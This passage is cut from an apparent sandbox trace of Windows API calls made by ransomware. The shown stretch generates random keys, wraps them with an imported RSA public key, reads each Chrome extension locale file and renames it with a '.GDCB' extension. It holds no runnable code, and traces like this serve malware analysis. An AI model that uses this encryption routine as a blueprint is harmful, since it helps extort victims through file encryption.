pbBuffer=0x285ce48) returned 1 [0276.078] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.078] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0276.081] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c560) returned 1 [0276.081] CryptGetKeyParam (in: hKey=0x678c560, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.081] CryptEncrypt (in: hKey=0x678c560, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0276.081] GetLastError () returned 0x0 [0276.081] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.081] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0276.083] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c260) returned 1 [0276.083] CryptGetKeyParam (in: hKey=0x678c260, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.083] CryptEncrypt (in: hKey=0x678c260, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0276.083] GetLastError () returned 0x0 [0276.083] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0276.083] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0276.084] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0276.087] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0276.090] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0xee, lpOverlapped=0x0) returned 1 [0276.099] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0276.106] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json.gdcb")) returned 1 [0276.114] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0276.117] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.119] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.119] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0276.119] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.119] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0276.122] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.124] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.124] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0276.124] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0276.124] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0276.127] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c420) returned 1 [0276.127] CryptGetKeyParam (in: hKey=0x678c420, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.127] CryptEncrypt (in: hKey=0x678c420, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0276.127] GetLastError () returned 0x0 [0276.127] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.127] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0276.129] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c5e0) returned 1 [0276.129] CryptGetKeyParam (in: hKey=0x678c5e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.129] CryptEncrypt (in: hKey=0x678c5e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0276.130] GetLastError () returned 0x0 [0276.130] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.130] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0276.131] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0276.134] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0276.136] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0xe8, lpOverlapped=0x0) returned 1 [0276.145] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0276.154] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json.gdcb")) returned 1 [0276.160] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0276.163] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.165] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.165] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0276.165] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.165] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0276.168] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.170] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.170] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0276.170] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.171] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0276.173] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c620) returned 1 [0276.173] CryptGetKeyParam (in: hKey=0x678c620, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.173] CryptEncrypt (in: hKey=0x678c620, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0276.173] GetLastError () returned 0x0 [0276.173] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0276.173] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0276.175] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c0e0) returned 1 [0276.175] CryptGetKeyParam (in: hKey=0x678c0e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.175] CryptEncrypt (in: hKey=0x678c0e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0276.176] GetLastError () returned 0x0 [0276.176] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.176] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0276.177] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0276.180] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0276.183] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0xd2, lpOverlapped=0x0) returned 1 [0276.191] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0276.213] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json.gdcb")) returned 1 [0276.219] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0276.223] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.225] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.225] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0276.225] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.225] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0276.228] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.230] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.230] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0276.230] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.231] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0276.233] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c6e0) returned 1 [0276.233] CryptGetKeyParam (in: hKey=0x678c6e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.233] CryptEncrypt (in: hKey=0x678c6e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0276.233] GetLastError () returned 0x0 [0276.233] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.234] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0276.236] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c120) returned 1 [0276.236] CryptGetKeyParam (in: hKey=0x678c120, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.236] CryptEncrypt (in: hKey=0x678c120, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0276.236] GetLastError () returned 0x0 [0276.236] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.236] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0276.238] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0276.241] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0276.243] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x108, lpOverlapped=0x0) returned 1 [0276.251] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0276.260] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json.gdcb")) returned 1 [0276.266] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0276.270] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.273] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.273] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0276.273] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0276.273] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0276.277] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.279] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.279] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0276.279] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.280] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0276.282] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678caa0) returned 1 [0276.282] CryptGetKeyParam (in: hKey=0x678caa0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.282] CryptEncrypt (in: hKey=0x678caa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0276.282] GetLastError () returned 0x0 [0276.283] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.283] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0276.286] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678ce20) returned 1 [0276.286] CryptGetKeyParam (in: hKey=0x678ce20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.286] CryptEncrypt (in: hKey=0x678ce20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0276.286] GetLastError () returned 0x0 [0276.286] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.286] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0276.288] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0276.291] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0276.293] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0xde, lpOverlapped=0x0) returned 1 [0276.300] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0276.308] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_br\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_br\\messages.json.gdcb")) returned 1 [0276.313] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0276.317] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.321] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.321] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0276.321] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.321] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0276.324] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.327] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.327] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 